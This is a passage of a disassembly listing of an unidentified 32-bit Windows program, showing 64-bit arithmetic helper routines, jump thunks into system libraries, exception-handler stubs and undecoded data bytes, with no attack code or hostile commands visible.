		dd 0E9907780h, 777E5424h
		db 0E9h
; ---------------------------------------------------------------------------


loc_437B6D:				; CODE XREF: ___:00437AF4j
		add	eax, 2A77807Fh
		nop
		jmp	near ptr 77C47A50h
; ---------------------------------------------------------------------------
		dd 802301E9h, 0E9904677h, 7780FD9Ch, 487DE990h,	3D83777Fh
		dd 5109B4h, 0FF0C75FFh,	90042474h, 7FD25BE8h, 68C35977h
		dd 5109A4h, 5109B468h, 2474FF00h, 310E80Ch, 0C4830000h
		dd 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h
		dd 7F464EE9h, 0E9902F77h, 777FF5E8h, 7FF5FAE9h
; ---------------------------------------------------------------------------
		ja	short near ptr byte_437C55

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437BDA	proc near		; CODE XREF: sub_4199C0+28p
		nop
		jmp	near ptr 77C4FA10h
sub_437BDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_437BE0	proc near		; CODE XREF: sub_41B920+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_437C01
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_437C51
; ---------------------------------------------------------------------------


loc_437C01:				; CODE XREF: sub_437BE0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_437C0F:				; CODE XREF: sub_437BE0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C0F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_437C3A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_437C3A
		jb	short loc_437C42
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_437C42


loc_437C3A:				; CODE XREF: sub_437BE0+4Aj
					; sub_437BE0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_437C42:				; CODE XREF: sub_437BE0+52j
					; sub_437BE0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_437C51:				; CODE XREF: sub_437BE0+1Fj
		pop	ebx
		retn	10h
sub_437BE0	endp

; ---------------------------------------------------------------------------
byte_437C55	db 0Bh dup(0CCh)	; CODE XREF: ___:00437BD8j

; =============== S U B	R O U T	I N E =======================================



sub_437C60	proc near		; CODE XREF: sub_41B920+30p
					; sub_41B920+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_437C82
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_437CC3
; ---------------------------------------------------------------------------


loc_437C82:				; CODE XREF: sub_437C60+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_437C90:				; CODE XREF: sub_437C60+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C90
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_437CBE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_437CBE
		jb	short loc_437CBF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_437CBF


loc_437CBE:				; CODE XREF: sub_437C60+4Ej
					; sub_437C60+54j
		dec	esi


loc_437CBF:				; CODE XREF: sub_437C60+56j
					; sub_437C60+5Cj
		xor	edx, edx
		mov	eax, esi


loc_437CC3:				; CODE XREF: sub_437C60+20j
		pop	esi
		pop	ebx
		retn	10h
sub_437C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E3h, 8Dh
		dd 0E9907780h, 7780733Ch, 810188E9h, 97E95077h,	2778091h
		dd 809516E9h, 0E9907677h, 77809888h, 8096ABE9h,	0E9902077h
		dd 77809A43h, 0FEE2E990h, 0E9907780h, 77809E6Eh, 8071EDE9h
		dd 0E9902577h, 77809103h, 43ADE990h, 0E990777Fh, 777E4845h
		dd 0F0D0E990h, 0D3E9777Fh, 8D777FF4h, 758EE990h, 0FEE9777Eh
		dd 0E877807Bh, 9B30E990h, 9CE97780h, 2A778026h,	8025C2E9h
		dd 0E990FF77h, 778113C7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437D4C	proc near		; CODE XREF: ___:0043297Cp
		jmp	near ptr 77C3619Ch
sub_437D4C	endp

; ---------------------------------------------------------------------------
		db 46h,	0E9h, 1Dh
		dd 88777FF0h, 8E53E990h, 0C47B7780h, 82A1EA9Bh,	0C1EA3B47h
		dd 7D32C36h, 9046D35Dh,	7A7C8011h, 0FA08BD57h, 673DCE3Ah
		dd 52250A71h, 3788A776h, 5D89BF87h, 0E8026AFCh,	777FD5ECh
		dd 0D835990h, 5109A4h, 0B40D83FFh, 0FF005109h, 7435E890h
		dd 0D8B777Eh, 5108B4h, 0F1E80889h, 90777E73h, 8B00D8Bh
		dd 8890051h, 511A28A1h,	0A3008B00h, 510998h, 12EE8h, 0B01D3900h
		dd 7500448Ch, 7EF8680Ch, 96E80043h, 90778158h, 0FAE859h
		dd 18680000h, 68004444h, 444314h, 0E5E8h, 8ACA100h, 45890051h
		dd 94458D94h, 0A835FF50h, 8D005108h, 8D509C45h,	8D509045h
		dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h
		dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 22C8797h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h,	2448CF8h
		dd 0A050E850h, 4589FFFCh, 0E3E85098h, 9077801Fh, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0DFE88875h, 9077801Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437EBC	proc near		; CODE XREF: ___:00437B04p
		nop
		jmp	near ptr 77C21868h
sub_437EBC	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
dword_437EC4	dd 777FCF89h, 1FCCE990h, 0E9907780h, 777FAEDAh,	7E7012E9h
		dd 0E9900477h, 77801E87h, 3000068h, 6800h, 25E80001h, 59000000h
		dd 0E990C359h, 7781577Dh, 0C3C3C033h, 72A2E990h, 0D4E9777Eh
		dd 6C777E72h, 0D46EE990h, 0E990777Fh, 777FDD80h, 6F15E990h
		dd 0E9907781h, 75C6844Bh, 8529E990h, 0E99075C6h, 75C5A102h
		dd 0C57554E9h, 0E990BB75h, 75C684F8h, 0A029E990h, 0E99075C4h
		dd 75C53908h, 0F765E990h, 0E99075C5h, 75C4DB94h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437F50	proc near		; CODE XREF: sub_419300+190p
		jmp	near ptr 76D6AC1Dh
sub_437F50	endp

; ---------------------------------------------------------------------------
		db 0F0h, 90h
		db 0E9h
		dd 2398A8Ch, 398B58E9h,	99E95002h, 0A9023A80h, 862FE990h
		dd 0E990023Ah, 23B808Ch, 3B9158E9h, 81E98802h, 58023C80h
		dd 807AE990h, 0E990023Dh, 23D974Ch, 3D9923E9h, 69E9FA02h
		dd 50023E80h, 82CBE990h, 0E990023Eh, 23E83E8h, 8056E990h
		dd 0E990023Fh, 23F8446h, 804AE990h, 0E9900240h,	2408AB7h
		dd 803EE990h, 0BBE90241h, 11024182h, 8032E990h,	0E9900242h
		dd 243802Ch, 8026E990h,	0E9900244h, 2448BA4h, 801AE990h
		dd 0E9900245h, 24586E1h, 8B27E990h, 0E9900245h,	2458C0Eh
		dd 468003E9h, 0E9904E02h, 2398707h, 7FF6E990h, 0F1E90239h
		dd 5802387Fh, 87D1E990h, 0E5E90237h, 1602377Fh,	7FDEE990h
		dd 0E9900236h, 2357FD8h, 8C8EE990h, 0DEE90234h,	28023488h
		dd 82D3E990h, 0E9900234h, 23481D1h, 2C7FBBE9h, 0E9909502h
		dd 23481A6h, 8181E990h,	96E90234h, 0E67C4C90h, 8FA7E990h
		dd 0E9907C4Ch, 2347F9Ch, 338DA2E9h, 0E9907102h,	233862Fh
		dd 337F8BE9h, 0E990E802h, 23287CFh, 328707E9h, 0E9907B02h
		dd 2328534h, 8388E990h,	0EEE90232h, 88023281h, 7F66E990h
		dd 72E90232h, 7602318Ch, 8A89E990h, 61E90231h, 0EB023188h
		dd 8555E990h, 0ABE90231h, 0C5023184h, 7F8EE990h, 0E9900231h
		dd 2317F3Ch, 8B00E990h,	0E9900230h, 2308918h, 8636E990h
		dd 0E9900230h, 230833Fh, 7F1EE990h, 0E9900230h,	22F8909h
		dd 8877E990h, 5FE9022Fh, 2D022F81h, 2F7F07E9h, 58E9D402h
		dd 58022E8Ah, 863DE990h, 0F5E9022Eh, 55022E7Eh,	8CB9E990h
		dd 3BE9022Dh, 58022D8Bh, 2D8811E9h, 0E990AE02h,	22D8606h
		dd 7ED6E990h, 0E990022Dh, 22C84CFh, 1BA726E9h, 0E9902F00h
		dd 246874Bh, 8FB8E990h,	0E9900250h, 24C7EB8h, 7EB2E990h
		dd 0E9900250h, 24F7EACh, 4E8BBAE9h, 0A1E91602h,	0E8024E7Eh
		dd 84E5E990h, 0DBE9024Dh, 0CA024D81h, 7E8EE990h, 0E990024Dh
		dd 24C88F5h, 4C87FFE9h,	0E9905802h, 24C84BCh, 8AC6E990h
		dd 0E9900246h, 24B8AD5h, 4B86C2E9h, 0E990E102h,	24B83A7h
		dd 7E5EE990h, 0E990024Bh, 24A7E58h, 7E52E990h, 0E9900249h
		dd 2489A89h, 96E6E990h,	0E9900248h, 2489499h, 48934AE9h
		dd 0E9907B02h, 2487E34h, 7E2EE990h, 0E9900247h,	7C608F38h
		dd 0BD63E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381DE	proc near		; CODE XREF: ___:0042DBE1p
		nop
		jmp	near ptr 71AB4FD4h
sub_4381DE	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 8Fh, 62h
		db 68h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381EA	proc near		; CODE XREF: sub_42DBD1+1p
		jmp	near ptr 71AB2BF4h
sub_4381EA	endp

; ---------------------------------------------------------------------------
		db 0DEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381F0	proc near		; CODE XREF: sub_42DF40+E5p
					; sub_42EF60+4Fp
		nop
		jmp	near ptr 71AB615Ah
sub_4381F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381F6	proc near		; CODE XREF: sub_42E490+9Ap
					; sub_42F040+45p ...
		jmp	near ptr 71AB428Ah
sub_4381F6	endp

; ---------------------------------------------------------------------------
		cmc

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381FC	proc near		; CODE XREF: sub_42F2C0+53p
					; sub_42F2C0+96p ...
		nop
		jmp	near ptr 71AB9639h
sub_4381FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438202	proc near
		nop
		jmp	near ptr 71AC1028h
sub_438202	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438208	proc near		; CODE XREF: sub_42E170+71p
					; sub_42ED50+50p
		jmp	near ptr 71AB2DC0h
sub_438208	endp

; ---------------------------------------------------------------------------
		db 0Ch,	90h, 0E9h
		dd 7167A9ACh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438214	proc near
		jmp	near ptr 71AB88D3h
sub_438214	endp

; ---------------------------------------------------------------------------
		db 0AEh, 0E9h, 47h
		dd 207167A9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438220	proc near		; CODE XREF: sub_42E870+187p
		nop
		jmp	near ptr 71AB951Eh
sub_438220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438226	proc near
		jmp	near ptr 71AB3E00h
sub_438226	endp

; ---------------------------------------------------------------------------
		db 32h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43822C	proc near		; CODE XREF: sub_42DB00+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_43822C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438232	proc near		; CODE XREF: ___:0042DC2Fp
					; sub_42E870+152p
		nop
		jmp	near ptr 71AB3B91h
sub_438232	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438238	proc near
		jmp	near ptr 71AB406Ah
sub_438238	endp

; ---------------------------------------------------------------------------
		db 9Fh,	0E9h, 0E5h
; ---------------------------------------------------------------------------
		shl	dword ptr [edi+71h], 0BBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438244	proc near		; CODE XREF: sub_42DA80+10p
		nop
		jmp	near ptr 71AB664Dh
sub_438244	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167CE78h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438250	proc near		; CODE XREF: sub_434BA0+Bp
		nop
		jmp	near ptr 71AB94DCh
sub_438250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438256	proc near		; CODE XREF: sub_41A7D0+92p
					; sub_41A990+CAp ...
		nop
		jmp	near ptr 71AB4544h
sub_438256	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0EEh, 88h
; ---------------------------------------------------------------------------
		push	0B1E99071h
		retn	7167h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 52h, 0A9h
		dd 0E9907167h, 7167AA9Bh, 67A9F0E9h
; ---------------------------------------------------------------------------
		jno	short near ptr byte_4382F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43827A	proc near
		jmp	near ptr 71AB3EA1h
sub_43827A	endp

; ---------------------------------------------------------------------------
		db 13h
		db 90h
		db 0E9h, 0E3h, 4
		dd 0FEE97168h, 5A7167C1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43828C	proc near		; CODE XREF: sub_42DB00+53p
					; sub_42DB00+C3p
		nop
		jmp	near ptr 71ABE6EBh
sub_43828C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438292	proc near		; CODE XREF: sub_42F2C0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_438292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438298	proc near
		nop
		jmp	near ptr 71AB2A5Eh
sub_438298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43829E	proc near		; CODE XREF: ___:0041C2B7p
					; ___:0041C2CCp
		nop
		jmp	near ptr 71B2578Ch
sub_43829E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382A4	proc near		; CODE XREF: ___:0041C40Dp
					; ___:0041C42Fp
		jmp	near ptr 71B25099h
sub_4382A4	endp

; ---------------------------------------------------------------------------
		push	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382AA	proc near		; CODE XREF: ___:00426390p
		jmp	near ptr 71B2517Fh
sub_4382AA	endp

; ---------------------------------------------------------------------------
		db 8Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B0	proc near		; CODE XREF: sub_41FF90+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_4382B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B6	proc near		; CODE XREF: sub_41FF90+9Bp
		nop
		jmp	near ptr 76BF1F1Ch
sub_4382B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382BC	proc near		; CODE XREF: sub_41FF90+21p
		nop
		jmp	near ptr 76BF3A9Ah
sub_4382BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382C2	proc near		; CODE XREF: ___:0041B284p
		nop
		jmp	near ptr 76F36C5Bh
sub_4382C2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 80h, 0DFh
		dd 52E97780h, 9A7780DEh, 0DE96E990h, 0E9907780h, 7780E040h
		dd 4 dup(0CCCCCCCCh)
byte_4382F0	db 0B00h dup(0CCh)	; CODE XREF: ___:00438278j
; ---------------------------------------------------------------------------


loc_438DF0:				; DATA XREF: ___:0043F49Co
		lea	ecx, [ebp-468h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-438h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-450h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-420h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-46Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_438E35
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438E35:				; CODE XREF: ___:00438E27j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403530	proc near		; DATA XREF: sub_403530+2o
		mov	eax, offset dword_43F470
		jmp	sub_437AB8
SEH_403530	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_438E6B:				; DATA XREF: ___:0043F4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403700	proc near		; DATA XREF: sub_403700+2o
		mov	eax, offset dword_43F4C0
		jmp	sub_437AB8
SEH_403700	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439298:				; DATA XREF: ___:0043F72Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C50	proc near		; DATA XREF: sub_403C50+2o
		mov	eax, offset dword_43F700
		jmp	sub_437AB8
SEH_403C50	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392C8:				; DATA XREF: ___:0043F764o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403CD0	proc near		; DATA XREF: sub_403CD0+2o
		mov	eax, offset dword_43F738
		jmp	sub_437AB8
SEH_403CD0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D50	proc near		; DATA XREF: sub_403D50+2o
		mov	eax, offset dword_43F770
		jmp	sub_437AB8
SEH_403D50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_439318:				; DATA XREF: ___:0043F7CCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403DC0	proc near		; DATA XREF: sub_403DC0+2o
		mov	eax, offset dword_43F7A0
		jmp	sub_437AB8
SEH_403DC0	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_439398:				; DATA XREF: ___:0043F82Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403EA0	proc near		; DATA XREF: sub_403EA0+2o
		mov	eax, offset dword_43F800
		jmp	sub_437AB8
SEH_403EA0	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
